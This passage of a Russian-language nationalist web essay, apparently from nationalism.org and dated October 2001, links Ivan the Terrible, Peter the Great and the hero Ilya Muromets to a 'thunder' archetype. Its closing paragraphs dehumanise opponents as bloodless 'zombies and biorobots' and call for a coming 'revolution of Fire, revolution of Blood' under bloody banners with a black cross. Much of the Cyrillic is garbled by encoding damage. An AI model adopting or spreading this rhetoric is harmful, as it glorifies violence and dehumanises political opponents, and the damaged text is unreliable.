являет собо?обра?громовержц? чт?видн?хо? бы из ег?имен? Ка? ?Фесвитяни? он уничтожает врагов Веры ?огромном множеств? ка?? Муроме? он восстает против теплохладности боярски?"радетеле? старин?quot; ?практикует юродство. Иоан?Васильевич личн?написа? "Кано?Ангелу Грозному", ?которо?он прославляет архангел? Михаил? ведущего огненную войн??сатано? ?деятельност?Грозного Ца? отчетлив?прослеживает? грозовой, огненный эсхатологизм (см. Елисее? ? ? Опричн? эсхатология Грозного Ца? // "Царски?опричник", ?20 <a href="http://nationalism.org/bratstvo/oprichnik/20/eliseev.htm"><img src="weblink.gif" width="22" height="9" border="0"></a>). </font></p> <p><font face="Times New Roman, Times, serif" size="3">Архети?ветхозаветного революционер?такж?воспроизводится ?фигуре Императора Петр?Великого. Эт?тонк?подмечен?исследователем-метафизико?Георгием Павловичем. <b><i>"?определенном смысле,</i></b> - отмечает он, - <i><b>символик? Ильи-пророк?(равн?ка??Перуна-императора) отражена ?знаменитом Медном всаднике, подножие?которого служит "гром-камень"?quot; </b></i>камень действительн?являет? именно громовым символом, чт? сраз?же обращает внимание на имя - "Петр" ("камень"). </font></p> <p><font face="Times New Roman, Times, serif" size="3">?уж?на архети? Илии Муромц?прямо указывае?"корабельная символик?quot; Петербурга. ?русски?былина?велики?богатырь изображе?ещ??велики?мореплавателем. Одна из ни?("Ил? муроме??Добрыней на Соколе-корабл?quot;) повествует ?то? ка?Ил? плавае?(?качестве хо?ин? на гигантском корабл? на которо?нахо?тся "тр?церкви соборные? ?тр?монастыря, тр?почесные?quot;. Ясно, чт?былина доноси?до на?обра?корабля-церкви, корабля-города, корабля-остров? сохраняющег?Традицию ?По?до?посред? во?инфернальног?хаос? Таки?же городо??являет? Петербур? основанный Велики?Петром ка?гиперборейский, северный цент? грозно ст?щи?на защите Свято?Импери?</font></p> <p><font face="Times New Roman, Times, serif" size="3">Итак, мы - русски? мы - наро?Гроз? ?русски?националиста?нель? забывать об этом ни на секунд? Им надо слиться со свое?родной стихие? стихие?победы. Бе?не?на?не победить.</font></p> <p><font face="Times New Roman, Times, serif" size="3">Стих? Гроз?- эт?стих? воли, героизма, кров? он?отрицает вс?эт?пошлость века сего. Наши претензи??наши?противника? ?конечном итог? есть претензи? ?их метафизической сути. ?жила?этих люде?тече?лишь подоби?кров? на само?деле та?плещет? чуть солоноватая водичк? тепленьк? водичк? ?на?разные стихии, мы живе??разных вселенны? Их, внеш?я вселенная - ужасающая коперников?пустот? ?которо?вс?механистично, скучно, буржуазн? гд?вс?ожидае?от?всег?лишь выгоды ?взаимообмена. Наша, внутренняя вселенная - эт?огненн? стих? вечног?стремлен? ?иным мира?- он?наполнен?небывалы?напряжением мысл??действ?, он?? конечном итог?бескорыстн??люби?дарить - любовь ?ненавист? жизн? ?смерть. Компромисс межд?этим?двумя мирами невозможен, он?даже не "ка?дв?различны?полюса??одно?земл?quot;, он?дв?полюса - бытия ?небытия.</font></p> <p><font face="Times New Roman, Times, serif" size="3">Мы знае?- неизбежн? гибель старог? ветхог? греховного мира во вселенском вихр?эсхатологическог? Ог?, преображающего прежню?суть ?приобщающего ее ?Божественном? величи? Эт?один ми?Божественной сило?уничтожи?другой, посл?чего, ка?предсказывае?на?Свято?Апосто?Иоан?Богослов больше не буде? мо? (воды), ?буде?лишь "ново?небо ?новая земля". Но ещ? ?до этог?буде?послед?я схватк? люде??го?че? го?ще? огненной чистой Кровью ?теми людьми, ?которы?булькает грязн?, тепленьк? водичк? ?пуст?за ними буду?армады зомб??биороботов, пуст?помогают им силы Подземел? - за нами ОГНЕННАЯ ПРАВДА!</font></p> <p><font face="Times New Roman, Times, serif" size="3">Гряде?новая ? послед?я революция, революци?Ог?, революци?Кров? Та?встане?же по?огненные, кровавые знамен??обережны?знаком черног?креста. Встане? за свой за свой Ро?</font></p> <p></p> <p><font face="Times New Roman, Times, serif" size="3"><b><i><font color="#000099">ок?бр? 2001 ?</font></i></b></font></p> <p align="left"> </p> </blockquote> </td> </tr> </table> <table width="630" border="0"> <tr> <td width="130"> </td> <td width="500"> <div align="center"><a href="http://nationalism.org"><img src="http://nationalism.org/banners/Norg.gif" width="468" height="60" border="0" alt="Nationalism.org" align="middle" vspace="10"></a></div> </td> </tr> </table> </body> </html>